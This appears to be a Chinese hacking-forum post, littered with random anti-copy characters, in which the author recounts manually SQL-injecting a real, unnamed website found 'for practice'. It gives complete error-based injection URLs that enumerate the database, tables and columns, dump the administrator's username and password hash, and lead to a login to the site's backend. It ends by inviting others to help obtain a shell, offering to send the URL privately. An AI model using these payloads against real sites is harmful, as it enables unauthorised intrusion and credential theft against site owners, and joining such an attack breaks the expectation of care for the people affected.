近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。& y' d) D9 U |3 [2 l6 G' B
首先找到网站后台,加了个admin,后台出来了 * c! ?' T0 u V. \' F
& j, {1 K* O8 v
P+ t5 L& S. }5 S$ L6 d2 {然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入5 ?3 e$ ]4 g5 {6 W
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—4 }# P0 d2 p# i2 M: ?
4 f1 B( v6 R' S4 \# |* n
: e6 q- ~& x; _4 C9 A) X, G: x5 v
8 P2 f& E" P# q4 q: }' h) p( T* G- g$ K& T* ?/ i$ C
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg( T( Y: q" U+ W7 d6 B6 I& }
& `6 D& K# w- f9 V6 B* p0 S; e
* ~( l, q$ n/ I
# A# q; Z( W" M5 B4 J, v" `# q5 f3 F+ W0 G6 C
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator: @# i; A. X* g% T- b: G- j
7 T5 V& |# D9 l, j/ r0 ^
8 B/ c/ e. Y8 I: whttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
% _% R1 m3 _. h! Y5 Y- b! \% }/ `, P5 v$ [2 j
6 a% V' h. H$ i% q+ Q
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
1 y/ _( S, W$ u) b( G$ E$ i
4 N% g* K9 u7 }% a$ r4 E3 N2 @" {' n& r P7 F4 e
6 k6 b$ i( O7 N$ o0 ~ 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
9 z A# l( E) U5 S+ L
2 l8 n& i6 E$ i$ u$ A+ K8 c2 u1 C# J
5 T+ e" b! y9 u) x, E# t; x% M
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |